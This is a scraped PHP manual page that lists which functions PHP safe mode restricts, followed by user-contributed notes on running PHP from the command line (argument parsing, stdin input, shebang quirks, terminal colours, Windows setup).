dbmopen() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
dbase_open() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro_rowcount() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
filepro_retrieve() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
ifx_* | sql_safe_mode restrictions, (!= safe mode)
ingres_* | sql_safe_mode restrictions, (!= safe mode)
mysql_* | sql_safe_mode restrictions, (!= safe mode)
pg_lo_import() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
posix_mkfifo() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
putenv() | Obeys the safe_mode_protected_env_vars and safe_mode_allowed_env_vars ini-directives. See also the documentation on putenv()
move_uploaded_file() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chdir() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
dl() | This function is disabled when PHP is running in safe mode.
backtick operator | This function is disabled when PHP is running in safe mode.
shell_exec() (functional equivalent of backticks) | This function is disabled when PHP is running in safe mode.
exec() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
system() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
passthru() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
popen() | You can only execute executables within the safe_mode_exec_dir. For practical reasons it's currently not allowed to have .. components in the path to the executable. escapeshellcmd() is executed on the argument of this function.
fopen() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
mkdir() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
rmdir() | Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
rename() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
unlink() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
copy() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (on source and target)
chgrp() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chown() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed.
chmod() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. In addition, you cannot set the SUID, SGID and sticky bits
touch() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
symlink() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only the target is checked)
link() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (note: only the target is checked)
apache_request_headers() | In safe mode, headers beginning with authorization (case-insensitive) will not be returned.
header() | In safe mode, the uid of the script is added to the realm part of the WWW-Authenticate header if you set this header (used for HTTP Authentication).
PHP_AUTH variables | In safe mode, the variables PHP_AUTH_USER, PHP_AUTH_PW, and AUTH_TYPE are not available in $_SERVER. Regardless, you can still use REMOTE_USER for the USER. (note: only affected since PHP 4.3.0)
highlight_file(), show_source() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
parse_ini_file() | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed.
set_time_limit() | Has no effect when PHP is running in safe mode.
max_execution_time | Has no effect when PHP is running in safe mode.
mail() | In safe mode, the fifth parameter is disabled.
session_start() | The owner of a script must be the same as owner of a session.save_path directory if the default files session.save_handler is used.
All filesystem and stream functions. | Checks whether the files or directories being operated upon have the same UID (owner) as the script that is being executed. Checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. (see the safe_mode_include_dir php.ini option.

User Contributed Notes

tschmieder at bitworks dot de 22-Sep-2007 03:04
refers to the previuos posting of

bananarama
15-May-2006 10:11

"all file-handling and -management functions are restricted, just in case someones wondering why they're not listed here.
a script can run these functions on files without errors, if the files were created (are owned) by the same UID, the script was created (is owned) by."

.... or if the directory, in which the file is located, has the same UID as the script, which tries to use a file in that directory...
Jan 23-Oct-2005 11:46
It seems that glob and file_exists functions are also restricted in safe-mode.


Using PHP from the command line

Table of Contents

  • Introduction
  • Differences to other SAPIs
  • Options
  • Usage
  • I/O streams
  • Interactive shell
  • Built-in web server
  • INI settings

User Contributed Notes

PSIKYO at mail dot dlut dot edu dot cn 15-Sep-2013 12:19
If you edit a php file in windows, upload and run it on linux with command line method. You may encounter a running problem probably like that:

[root@ItsCloud02 wsdl]# ./lnxcli.php
Extension './lnxcli.php' not present.

Or you may encounter some other strange problem.
Care the enter key. In windows environment, enter key generate two binary characters '0D0A'. But in Linux, enter key generate just only a 'OA'.
I wish it can help someone if you are using windows to code php and run it as a command line program on linux.
sep16 at psu dot edu 01-Jun-2012 10:17
You can easily parse command line arguments into the $_GET variable by using the parse_str() function.

<?php

parse_str(implode('&', array_slice($argv, 1)), $_GET);

?>

It behaves exactly like you'd expect with cgi-php.

$ php -f somefile.php a=1 b[]=2 b[]=3

This will set $_GET['a'] to '1' and $_GET['b'] to array('2', '3').

Even better, instead of putting that line in every file, take advantage of PHP's auto_prepend_file directive.  Put that line in its own file and set the auto_prepend_file directive in your cli-specific php.ini like so:

auto_prepend_file = "/etc/php/cli-php5.3/local.prepend.php"

It will be automatically prepended to any PHP file run from the command line.
me at unreal4u dot com 26-Oct-2011 06:28
You could use the Linux way of knowing that everything went ok by dying with a numeric code: 0 if everything went ok and practically anything else if something goes terribly wrong. That way;

<?php // hello.php
echo 'hello';
exit(0);
?>
<?php // bye.php
echo 'bye';
exit(1);
?>
<?php // hello-again.php
echo 'hi world!';
exit(0);
?>

calling:
php hello.php && php bye.php && php hello-again.php

would only execute the first two scripts, the last one doesn't get executed because an error ocurred in that script.

Greetings.
Kodeart 29-Aug-2011 11:03
Check directly without calling functions:
<?php
if (PHP_SAPI === 'cli')
{
   // ...
}
?>

You can define a constant to use it elsewhere
<?php
define('ISCLI', PHP_SAPI === 'cli');
?>
Anonymous 23-Aug-2011 12:42
Instead of all these long and .. interesting .. ways to check if you're running from cli, you could always do this:

<?php
function isCli() {
    return php_sapi_name()==="cli";
}
?>
Rizwan 20-Apr-2011 01:08
A simple way to check if script is running from browser or cli.

<?php
if(defined('STDIN') )
  echo("Running from CLI");
else
  echo("Not Running from CLI");
?>
Anonymous 29-Jun-2010 04:41
Using CLI (on WIN at least), some INI paths are relative to the current working directory.  For example, if your error_log = "php_errors.log", then php_errors.log will be created (or appended to if already exists) in whatever directory you happen to be in at the moment if you have write access there.  Instead of having random error logs all over the place because of this behavior, you may want to set error_log to a full path, perhaps to the php.exe directory.
ross at golder dot org 23-Dec-2009 07:57
Note that parsing of the shebang line may not always work as expected...

#!/usr/bin/php -dmemory_limit=512M -dsafe_mode=Off
<?php

print "memory_limit=".ini_get("memory_limit")."\n";
print "safe_mode=".ini_get("safe_mode")."\n";

?>

gives...

$ ./test.php
PHP:  Invalid configuration directive
memory_limit=512M -dsafe_mode
safe_mode=
notreallyanaddress at somerandomaddr dot com 03-Dec-2009 02:34
If you want to be interactive with the user and accept user input, all you need to do is read from stdin.

<?php
echo "Are you sure you want to do this?  Type 'yes' to continue: ";
$handle = fopen ("php://stdin","r");
$line = fgets($handle);
if(trim($line) != 'yes'){
    echo "ABORTING!\n";
    exit;
}
echo "\n";
echo "Thank you, continuing...\n";
?>
kazink at gmail dot com 02-Dec-2009 12:58
I had problems running php as CGI in thttpd. I have followed instructions posted by db at digitalmediacreation dot ch, but I was still getting "500 Internal Error" answer from the server. However, I had no problems running php as CLI using a simple wrapper file named index.cgi:

#!/usr/bin/php
<?php
  require_once 'index.php';
?>

but i needed to pass user data through GET and POST, and this method couldn't handle it. I have spent 2 hours figuring out how to run the CGI mode properly, until I finally gave up, and done it in "manual" way. I have just added some code to the wrapper that reads GET and POST data into the proper variables:

#!/usr/bin/php
<?php

  //parse the command line into the $_GET variable
  parse_str($_SERVER['QUERY_STRING'], $_GET);

  //parse the standard input into the $_POST variable
  if (($_SERVER['REQUEST_METHOD'] === 'POST')
   && ($_SERVER['CONTENT_LENGTH'] > 0))
  {
    parse_str(fread(STDIN, $_SERVER['CONTENT_LENGTH']), $_POST);
  }

  require_once 'index.php';
?>

It works well for me. It may be useful if someone else have similar problem.
ca at php dot spamtrak dot org 09-Oct-2009 01:06
I append this to most of my PHP files, to allow command line unit testing of a class.  It ensures that the unit test is only run if the script is run directly, and won't be triggered by an include from another CLI script.

<?php
if (!empty($argc) && strstr($argv[0], basename(__FILE__))) {
   $test = new TestClass();
   $rv = $test->Test();
   die("Test returned $rv\n");
}
?>
dj dot rokx at gmail dot com 11-Sep-2009 10:34
Use PHP as Scripting Language in Windows Vista and 7:

ASSOC .phs=PHPScript
FTPYE PHPScript=[path to]\php.exe -f "%1" -- %*

optional set PATHEXT=.phs;%PATHEXT%

now you can execute any php-script (ext: .phs) from the shell like a .vbs or .cmd.

"c:\testscript.phs arg1 arg2" or with the optional step "c:\testscript arg1 arg2"

i hope this helps somebody.
Wade 07-Sep-2009 07:46
I've just found that the fact that the CLI does *not* change the current directory will make include() and require() calls with relative paths fail. This is because they are relative to the current directory, not to the current executing file, the documentation notwithstanding. In CGI mode, this is the same because it changes the current directory.

One solution is to call the CGI binary rather than the CLI one. A better solutions is to use dirname(__FILE__) in your path names.
coffear at gmail dot com 07-Jun-2009 02:06
In the notes it there is an example of running 1 line of PHP using:

php -r 'print_r(get_defined_constants());'

This might work on a UNIX machine but unfortunately on windows it produces the following error message:

Parse error: parse error in Command line code on line 1

Instead of using ' (single quotes) to encompass the PHP code use " (double quotes) instead. You can safely use ' within the code itself however such as:

php -r "echo 'hello';"
Willy T. Koch 24-Feb-2009 11:11
I'm figuring out how to pipe an email to a php script with postfix. For the email user@example.com:

I created the following line in /etc/aliases:
user:        "|/www/file.php"

file.php is chmod 755

This works fine. But I wanted to test this without having to send an email every time. And this took some searching to figure out, yet it's oh-so simple:

To pipe the file email.txt to the script, write the following in the terminal window:

user@host: php file.php < testepost.txt

I was confused by the | in the aliases file, and didn't get what came after what, etc etc.

Regards,

Willy T. Koch
Norway
patrick smith 11-Nov-2008 04:43
For command-line option definition and parsing, don't forget about the beauty of getopt().

There's a php-native version (http://php.net/getopt) and a PEAR package -- Console_GetOpt (http://pear.php.net/package/Console_Getopt).
Anonymous 26-Oct-2008 05:52
Here's  my modification of "thomas dot harding at laposte dot net" script (below) to read arguments from $argv of the form --name=VALUE and -flag.

"Input":
./script.php -a arg1 --opt1 arg2 -bcde --opt2=val2 arg3 arg4 arg5 -fg --opt3

"print_r Output":
Array
(
    [exec] => ./script.php
    [options] => Array
        (
            [0] => opt1
            [1] => Array
                (
                    [0] => opt2
                    [1] => val2
                )
            [2] => opt3
        )
    [flags] => Array
        (
            [0] => a
            [1] => b
            [2] => c
            [3] => d
            [4] => e
            [5] => f
            [6] => g
        )
    [arguments] => Array
        (
            [0] => arg1
            [1] => arg2
            [2] => arg3
            [3] => arg4
            [4] => arg5
        )
)

<?php
function arguments($args ) {
    $ret = array(
        'exec'      => '',
        'options'   => array(),
        'flags'     => array(),
        'arguments' => array(),
    );

    $ret['exec'] = array_shift( $args );

    while (($arg = array_shift($args)) != NULL) {
        // Is it a option? (prefixed with --)
        if ( substr($arg, 0, 2) === '--' ) {
            $option = substr($arg, 2);

            // is it the syntax '--option=argument'?
            if (strpos($option,'=') !== FALSE)
                array_push( $ret['options'], explode('=', $option, 2) );
            else
                array_push( $ret['options'], $option );

            continue;
        }

        // Is it a flag or a serial of flags? (prefixed with -)
        if ( substr( $arg, 0, 1 ) === '-' ) {
            for ($i = 1; isset($arg[$i]) ; $i++)
                $ret['flags'][] = $arg[$i];

            continue;
        }

        // finally, it is not option, nor flag
        $ret['arguments'][] = $arg;
        continue;
    }
    return $ret;
}//function arguments
?>
tom at thomas dot harding dot net 04-Oct-2008 02:27
To allow a "zero" option value:

replace:

$ret['options'][$com] = !empty($value) ? $value : true;

by:

$ret['options'][$com] = (strlen($value) > 0 ? $value : true);

In the sample below.

Thanks to Chris Chubb to point me out the problem
thomas dot harding at laposte dot net 15-Jun-2008 12:08
Parsing command line: optimization is evil!

One thing all contributors on this page forgotten is that you can suround an argv with single or double quotes. So the join coupled together with the preg_match_all will always break that :)

Here is a proposal:

#!/usr/bin/php
<?php
print_r(arguments($argv));

function arguments ( $args )
{
  array_shift( $args );
  $endofoptions = false;

  $ret = array
    (
    'commands' => array(),
    'options' => array(),
    'flags'    => array(),
    'arguments' => array(),
    );

  while ( $arg = array_shift($args) )
  {

    // if we have reached end of options,
    //we cast all remaining argvs as arguments
    if ($endofoptions)
    {
      $ret['arguments'][] = $arg;
      continue;
    }

    // Is it a command? (prefixed with --)
    if ( substr( $arg, 0, 2 ) === '--' )
    {

      // is it the end of options flag?
      if (!isset ($arg[3]))
      {
        $endofoptions = true;; // end of options;
        continue;
      }

      $value = "";
      $com   = substr( $arg, 2 );

      // is it the syntax '--option=argument'?
      if (strpos($com,'='))
        list($com,$value) = split("=",$com,2);

      // is the option not followed by another option but by arguments
      elseif (strpos($args[0],'-') !== 0)
      {
        while (strpos($args[0],'-') !== 0)
          $value .= array_shift($args).' ';
        $value = rtrim($value,' ');
      }

      $ret['options'][$com] = !empty($value) ? $value : true;
      continue;

    }

    // Is it a flag or a serial of flags? (prefixed with -)
    if ( substr( $arg, 0, 1 ) === '-' )
    {
      for ($i = 1; isset($arg[$i]) ; $i++)
        $ret['flags'][] = $arg[$i];
      continue;
    }

    // finally, it is not option, nor flag, nor argument
    $ret['commands'][] = $arg;
    continue;
  }

  if (!count($ret['options']) && !count($ret['flags']))
  {
    $ret['arguments'] = array_merge($ret['commands'], $ret['arguments']);
    $ret['commands'] = array();
  }
return $ret;
}

exit (0)

/* vim: set expandtab tabstop=2 shiftwidth=2: */
?>
mortals at seznam dot cz 07-May-2008 10:08
If a module SAPI is chosen during configure, such as apxs, or the --disable-cgi option is used, the CLI is copied to {PREFIX}/bin/php during make install  otherwise the CGI is placed there.

versus

Changed CGI install target to php-cgi and 'make install' to install CLI when CGI is selected. (changelog for 5.2.3)
http://www.php.net/ChangeLog-5.php#5.2.3
Anonymous 17-Feb-2008 06:29
I find regex and manually breaking up the arguments instead of havingon $_SERVER['argv'] to do it more flexiable this way.

cli_test.php asdf asdf --help --dest=/var/ -asd -h --option mew arf moo -z

    Array
    (
        [input] => Array
            (
                [0] => asdf
                [1] => asdf
            )

        [commands] => Array
            (
                [help] => 1
                [dest] => /var/
                [option] => mew arf moo
            )

        [flags] => Array
            (
                [0] => asd
                [1] => h
                [2] => z
            )

    )

<?php

function arguments ( $args )
{
    array_shift( $args );
    $args = join( $args, ' ' );

    preg_match_all('/ (--\w+ (?:[= ] [^-]+ [^\s-] )? ) | (-\w+) | (\w+) /x', $args, $match );
    $args = array_shift( $match );

    /*
        Array
        (
            [0] => asdf
            [1] => asdf
            [2] => --help
            [3] => --dest=/var/
            [4] => -asd
            [5] => -h
            [6] => --option mew arf moo
            [7] => -z
        )
    */

    $ret = array(
        'input'    => array(),
        'commands' => array(),
        'flags'    => array()
    );

    foreach ( $args as $arg ) {

        // Is it a command? (prefixed with --)
        if ( substr( $arg, 0, 2 ) === '--' ) {

            $value = preg_split( '/[= ]/', $arg, 2 );
            $com   = substr( array_shift($value), 2 );
            $value = join($value);

            $ret['commands'][$com] = !empty($value) ? $value : true;
            continue;

        }

        // Is it a flag? (prefixed with -)
        if ( substr( $arg, 0, 1 ) === '-' ) {
            $ret['flags'][] = substr( $arg, 1 );
            continue;
        }

        $ret['input'][] = $arg;
        continue;

    }

    return $ret;
}

print_r( arguments( $argv ) );

?>
technorati at gmail dot com 12-Feb-2008 03:21
Here's an update to the script a couple of people gave below to read arguments from $argv of the form --name=VALUE and -flag. Changes include:

Don't use $_ARG - $_ is generally considered reserved for the engine.
Don't use regex where a string operation will do just as nicely
Don't overwrite --name=VALUE with -flag when 'name' and 'flag' are the same thing
Allow for VALUE that has an equals sign in it

<?php
function arguments($argv) {
    $ARG = array();
    foreach ($argv as $arg) {
        if (strpos($arg, '--') === 0) {
            $compspec = explode('=', $arg);
            $key = str_replace('--', '', array_shift($compspec));
            $value = join('=', $compspec);
            $ARG[$key] = $value;
        } elseif (strpos($arg, '-') === 0) {
            $key = str_replace('-', '', $arg);
            if (!isset($ARG[$key])) $ARG[$key] = true;
        }
    }
    return $ARG;
}
?>
earomero _{at}_ gmail.com 29-Oct-2007 12:51
Here's <losbrutos at free dot fr> function modified to support unix like param syntax like <B Crawford> mentions:

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
        if (preg_match('#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#', $arg, $matches)) {
            $key = $matches[1];
            switch ($matches[2]) {
                case '':
                case 'true':
                $arg = true;
                break;
                case 'false':
                $arg = false;
                break;
                default:
                $arg = $matches[2];
            }

            /* make unix like -afd == -a -f -d */
            if(preg_match("/^-([a-zA-Z0-9]+)/", $matches[0], $match)) {
                $string = $match[1];
                for($i=0; strlen($string) > $i; $i++) {
                    $_ARG[$string[$i]] = true;
                }
            } else {
                $_ARG[$key] = $arg;
            }
        } else {
            $_ARG['input'][] = $arg;
        }
    }
    return $_ARG;
}
?>

Sample:

eromero@ditto ~/workspace/snipplets $ foxogg2mp3.php asdf asdf --help --dest=/var/ -asd -h
Array
(
    [input] => Array
        (
            [0] => /usr/local/bin/foxogg2mp3.php
            [1] => asdf
            [2] => asdf
        )

    [help] => 1
    [dest] => /var/
    [a] => 1
    [s] => 1
    [d] => 1
    [h] => 1
)
james_s2010 at NOSPAM dot hotmail dot com 22-Oct-2007 11:11
I was looking for a way to interactively get a single character response from user. Using STDIN with fread, fgets and such will only work after pressing enter. So I came up with this instead:

#!/usr/bin/php -q
<?php
function inKey($vals) {
    $inKey = "";
    While(!in_array($inKey,$vals)) {
        $inKey = trim(`read -s -n1 valu;echo \$valu`);
    }
    return $inKey;
}
function echoAT($Row,$Col,$prompt="") {
    // Display prompt at specific screen coords
    echo "\033[".$Row.";".$Col."H".$prompt;
}
    // Display prompt at position 10,10
    echoAT(10,10,"Opt : ");

    // Define acceptable responses
    $options = array("1","2","3","4","X");

    // Get user response
    $key = inKey($options);

    // Display user response & exit
    echoAT(12,10,"Pressed : $key\n");
?>

Hope this helps someone.
losbrutos at free dot fr 27-Sep-2007 02:54
an another "another variant" :

<?php
function arguments($argv)
{
  $_ARG = array();
  foreach ($argv as $arg)
  {
    if (preg_match('#^-{1,2}([a-zA-Z0-9]*)=?(.*)$#', $arg, $matches))
    {
      $key = $matches[1];
      switch ($matches[2])
      {
        case '':
        case 'true':
          $arg = true;
          break;
        case 'false':
          $arg = false;
          break;
        default:
          $arg = $matches[2];
      }
      $_ARG[$key] = $arg;
    }
    else
    {
      $_ARG['input'][] = $arg;
    }
  }
  return $_ARG;
}
?>

$php myscript.php arg1 -arg2=val2 --arg3=arg3 -arg4 --arg5 -arg6=false

Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => arg1
        )

    [arg2] => val2
    [arg3] => arg3
    [arg4] => true
    [arg5] => true
    [arg5] => false
)
dino (at) asttra (dot) com (dot) br 16-Aug-2007 09:24
For those who was unable to clear the windows screen trying to run CLS command:

CLS is not an windows executable file! It is an option from command.com!

So, the rigth command is

   system("command /C cls");
lucas dot vasconcelos at gmail dot com 22-Jul-2007 08:04
Just another variant of previous script that group arguments doesn't starts with '-' or '--'

<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('^-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
      } else {
            $_ARG['input'][]=$arg;
      }
    }
  return $_ARG;
}

print_r(arguments($argv));
?>

$ php myscript.php --user=nobody /etc/apache2/*
Array
(
    [input] => Array
        (
            [0] => myscript.php
            [1] => /etc/apache2/apache2.conf
            [2] => /etc/apache2/conf.d
            [3] => /etc/apache2/envvars
            [4] => /etc/apache2/httpd.conf
            [5] => /etc/apache2/mods-available
            [6] => /etc/apache2/mods-enabled
            [7] => /etc/apache2/ports.conf
            [8] => /etc/apache2/sites-available
            [9] => /etc/apache2/sites-enabled
        )

    [user] => nobody
)
bluej100@gmail 25-Jun-2007 08:02
In 5.1.2 (and others, I assume), the -f form silently drops the first argument after the script name from $_SERVER['argv']. I'd suggest avoiding it unless you need it for a special case.
eric dot brison at anakeen dot com 04-Jun-2007 02:16
Just a variant of previous script to accept arguments with '=' also
<?php
function arguments($argv) {
    $_ARG = array();
    foreach ($argv as $arg) {
      if (ereg('--([^=]+)=(.*)',$arg,$reg)) {
        $_ARG[$reg[1]] = $reg[2];
      } elseif(ereg('-([a-zA-Z0-9])',$arg,$reg)) {
            $_ARG[$reg[1]] = 'true';
        }

    }
  return $_ARG;
}
?>
$ php myscript.php --user=nobody --password=secret -p --access="host=127.0.0.1 port=456"
Array
(
    [user] => nobody
    [password] => secret
    [p] => true
    [access] => host=127.0.0.1 port=456
)
Jouni 09-Apr-2007 12:27
I had a problem with PHP 5.2.0 (cli) (winXP) that no output was printed when I tried to run any file. Using the -n switch solved the problem.

Apparently the interpreter can't always find php.ini, even though both exist in the same folder and the PATH variable is set correctly. No error messages were printed either.
rob 23-Mar-2007 08:48
i use emacs in c-mode for editing.  in 4.3, starting a cli script like so:

#!/usr/bin/php -q /* -*- c -*- */
<?php

told emacs to drop into c-mode automatically when i loaded the file for editing.  the '-q' flag didn't actually do anything (in the older cgi versions, it suppressed html output when the script was run) but it caused the commented mode line to be ignored by php.

in 5.2, '-q' has apparently been deprecated.  replace it with '--' to achieve the 4.3 invocation-with-emacs-mode-line behavior:

#!/usr/bin/php -- /* -*- c -*- */
<?php

don't go back to your 4.3 system and replace '-q' with '--'; it seems to cause php to hang waiting on STDIN...
djcassis at gmail 09-Mar-2007 04:14
To display colored text when it is actually supported :
<?php
echo "\033[31m".$myvar; // red foreground
echo "\033[41m".$myvar; // red background
?>

To reset these settings :
<?php
echo "\033[0m";
?>

More fun :
<?php
echo "\033[5;30m;\033[48mWARNING !"; // black blinking text over red background
?>

More info here : http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x329.html
jgraef at users dot sf dot net 26-Nov-2006 05:46
Hi,
This function clears the screen, like "clear screen"

<?php
  function clearscreen($out = TRUE) {
    $clearscreen = chr(27)."[H".chr(27)."[2J";
    if ($out) print $clearscreen;
    else return $clearscreen;
  }
?>
goalain eat gmail dont com 14-Nov-2006 09:57
An addition to my previous post (you can replace it)

If your php script doesn't run with shebang (#!/usr/bin/php),
and it issues the beautifull and informative error message:
"Command not found."  just dos2unix yourscript.php
et voila.

If you still get the "Command not found."
Just try to run it as ./myscript.php , with the "./"
if it works - it means your current directory is not in the executable search path.

If your php script doesn't run with shebang (#/usr/bin/php),
and it issues the beautifull and informative message:
"Invalid null command." it's probably because the "!" is missing in the the shebang line (like what's above) or something else in that area.

\Alon
16-Sep-2006 08:05
It seems like 'max_execution_time' doesn't work on CLI.

<?php
php -d max_execution_time=20
        -r '$foo = ini_get("max_execution_time"); var_dump($foo);'
?>
will print string(2) "20", but if you'l run infinity while: while(true) for example, it wouldn't stop after 20 seconds.
Testes on Linux Gentoo, PHP 5.1.6.
hobby6_at_hotmail.com 16-Sep-2006 12:59
On windows, you can simulate a cls by echoing out just \r.  This will keep the cursor on the same line and overwrite what was on the line.

for example:

<?php
    echo "Starting Iteration" . "\n\r";
    for ($i=0;$i<10000;$i++) {
        echo "\r" . $i;
    }
    echo "Ending Iteration" . "\n\r";
?>
stromdotcom at hotmail dot com 21-Feb-2006 07:27
Spawning php-win.exe as a child process to handle scripting in Windows applications has a few quirks (all having to do with pipes between Windows apps and console apps).

To do this in C++:

// We will run php.exe as a child process after creating
// two pipes and attaching them to stdin and stdout
// of the child process
// Define sa struct such that child inherits our handles

SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES) };
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;

// Create the handles for our two pipes (two handles per pipe, one for each end)
// We will have one pipe for stdin, and one for stdout, each with a READ and WRITE end
HANDLE hStdoutRd, hStdoutWr, hStdinRd, hStdinWr;

// Now create the pipes, and make them inheritable
CreatePipe (&hStdoutRd, &hStdoutWr, &sa, 0))
SetHandleInformation(hStdoutRd, HANDLE_FLAG_INHERIT, 0);
CreatePipe (&hStdinRd, &hStdinWr, &sa, 0)
SetHandleInformation(hStdinWr, HANDLE_FLAG_INHERIT, 0);

// Now we have two pipes, we can create the process
// First, fill out the usage structs
STARTUPINFO si = { sizeof(STARTUPINFO) };
PROCESS_INFORMATION pi;
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdOutput = hStdoutWr;
si.hStdInput  = hStdinRd;

// And finally, create the process
CreateProcess (NULL, "c:\\php\\php-win.exe", NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi);

// Close the handles we aren't using
CloseHandle(hStdoutWr);
CloseHandle(hStdinRd);

// Now that we have the process running, we can start pushing PHP at it
WriteFile(hStdinWr, "<?php echo 'test'; ?>", 9, &dwWritten, NULL);

// When we're done writing to stdin, we close that pipe
CloseHandle(hStdinWr);

// Reading from stdout is only slightly more complicated
int i;

std::string processed("");
char buf[128];

while ( (ReadFile(hStdoutRd, buf, 128, &dwRead, NULL) && (dwRead != 0)) ) {
    for (i = 0; i < dwRead; i++)
        processed += buf[i];
}

// Done reading, so close this handle too
CloseHandle(hStdoutRd);

A full implementation (implemented as a C++ class) is available at http://www.stromcode.com
drewish at katherinehouse dot com 25-Sep-2005 09:08
When you're writing one line php scripts remember that 'php://stdin' is your friend. Here's a simple program I use to format PHP code for inclusion on my blog:

UNIX:
  cat test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"

DOS/Windows:
  type test.php | php -r "print htmlentities(file_get_contents('php://stdin'));"
OverFlow636 at gmail dot com 19-Sep-2005 09:27
I needed this, you proly wont tho.
puts the exicution args into $_GET
<?php
if ($argv) {
    foreach ($argv as $k=>$v)
    {
        if ($k==0) continue;
        $it = explode("=",$argv[$i]);
        if (isset($it[1])) $_GET[$it[0]] = $it[1];
    }
}
?>
php at schabdach dot de 16-Sep-2005 06:06
To pass more than 9 arguments to your php-script on Windows, you can use the 'shift'-command in a batch file. After using 'shift', %1 becomes %0, %2 becomes %1 and so on - so you can fetch argument 10 etc.

Here's an example - hopefully ready-to-use - batch file:

foo.bat:
---------
@echo off

:init_arg
set args=

:get_arg
shift
if "%0"=="" goto :finish_arg
set args=%args% %0
goto :get_arg
:finish_arg

set php=C:\path\to\php.exe
set ini=C:\path\to\php.ini
%php% -c %ini% foo.php %args%
---------

Usage on commandline:
foo -1 -2 -3 -4 -5 -6 -7 -8 -9 -foo -bar

A print_r($argv) will give you all of the passed arguments.
docey 14-Jul-2005 02:44
dunno if this is on linux the same but on windows evertime
you send somthing to the console screen php is waiting for
the console to return. therefor if you send a lot of small
short amounts of text, the console is starting to be using
more cpu-cycles then php and thus slowing the script.

take a look at this sheme:
cpu-cycle:1 ->php: print("a");
cpu-cycle:2 ->cmd: output("a");
cpu-cycle:3 ->php: print("b");
cpu-cycle:4 ->cmd: output("b");
cpu-cycle:5 ->php: print("c");
cpu-cycle:6 ->cmd: output("c");
cpu-cylce:7 ->php: print("d");
cpu-cycle:8 ->cmd: output("d");
cpu-cylce:9 ->php: print("e");
cpu-cycle:0 ->cmd: output("e");

on the screen just appears "abcde". but if you write
your script this way it will be far more faster:
cpu-cycle:1 ->php: ob_start();
cpu-cycle:2 ->php: print("abc");
cpu-cycle:3 ->php: print("de");
cpu-cycle:4 ->php: $data = ob_get_contents();
cpu-cycle:5 ->php: ob_end_clean();
cpu-cycle:6 ->php: print($data);
cpu-cycle:7 ->cmd: output("abcde");

now this is just a small example but if you are writing an
app that is outputting a lot to the console, i.e. a text
based screen with frequent updates, then its much better
to first cach all output, and output is as one big chunk of
text instead of one char a the time.

ouput buffering is ideal for this. in my script i outputted
almost 4000chars of info and just by caching it first, it
speeded up by almost 400% and dropped cpu-usage.

because what is being displayed doesn't matter, be it 2
chars or 40.0000 chars, just the call to output takes a
great deal of time. remeber that.

maybe someone can test if this is the same on unix-based
systems. it seems that the STDOUT stream just waits for
the console to report ready, before continueing execution.
linus at flowingcreativity dot net 30-May-2005 04:32
If you are using Windows XP (I think this works on 2000, too) and you want to be able to right-click a .php file and run it from the command line, follow these steps:

1. Run regedit.exe and *back up the registry.*
2. Open HKEY_CLASSES_ROOT and find the ".php" key.

IF IT EXISTS:
------------------
3. Look at the "(Default)" value inside it and find the key in HKEY_CLASSES_ROOT with that name.
4. Open the "shell" key inside that key. Skip to 8.

IF IT DOESN'T:
------------------
5. Add a ".php" key and set the "(Default)" value inside it to something like "phpscriptfile".
6. Create another key in HKEY_CLASSES_ROOT called "phpscriptfile" or whatever you chose.
7. Create a key inside that one called "shell".

8. Create a key inside that one called "run".
9. Set the "(Default)" value inside "run" to whatever you want the menu option to be (e.g. "Run").
